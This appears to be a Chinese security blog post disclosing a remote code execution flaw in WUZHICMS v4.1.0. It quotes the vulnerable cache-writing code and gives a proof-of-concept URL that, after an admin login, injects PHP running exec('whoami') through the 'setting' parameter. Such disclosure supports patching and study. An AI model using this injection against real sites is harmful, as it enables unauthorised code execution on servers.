WUZHICMS v4.1.0 远程代码执行漏洞

1.coreframeappcorelibsfunctioncommon.func.php文件的set_cache方法中,当$data不是数组类型时,$data会直接写入php文件。

function set_cache($filename, $data, $dir = '_cache_'){
static $_dirs;

if ($dir == '') return FALSE;
if (!preg_match('/([a-z0-9_]+)/i', $filename)) return FALSE;
$cache_path = CACHE_ROOT . $dir . '/';
if (!isset($_dirs[$filename . $dir])) {
if (!is_dir($cache_path)) {
mkdir($cache_path, 0777, true);
}
$_dirs[$filename . $dir] = 1;
}

$filename = $cache_path . $filename . '.' . CACHE_EXT . '.php';
if (is_array($data)) {
$data = '<?php' . "rn return " . array2string($data) . '?>';
}
file_put_contents($filename, $data);
}

2.coreframeappattachmentadminindex.php文件的set方法中调用了set_cache方法,$GLOBALS['setting']没有被过滤,所以任何东西都可以写入php文件。

    public function set()
    {
        if (isset($GLOBALS['submit'])) {
            set_cache(M, $GLOBALS['setting']);
            MSG(L('operation_success'), HTTP_REFERER, 3000);
        } else {
            $show_dialog = 1;
            load_class('form');
            $setting = &$this->_cache;
            if(!isset($setting['show_mode'])) {
$setting = array('show_mode'=>2,'watermark_enable'=>1,'watermark_pos'=>0,'watermark_text'=>'www.wuzhicms.com');
set_cache(M, $setting);
}
            include $this->template('set', M);
        }
    }

3.最后,在coreframeappattachmentadminindex.php的第21行,会加载一个可以写入任意内容的php文件。

$this->_cache = get_cache(M);

poc:
1.登录后台

2.访问 http://127.0.0.1/index.php?m=attachment&f=index&v=set&_su=wuzhicms&submit=1&setting=<?php echo exec('whoami');?>

3.再次访问

图片[1]-WUZHICMS v4.1.0 远程代码执行漏洞-孤勇者社区

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞10赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像插的0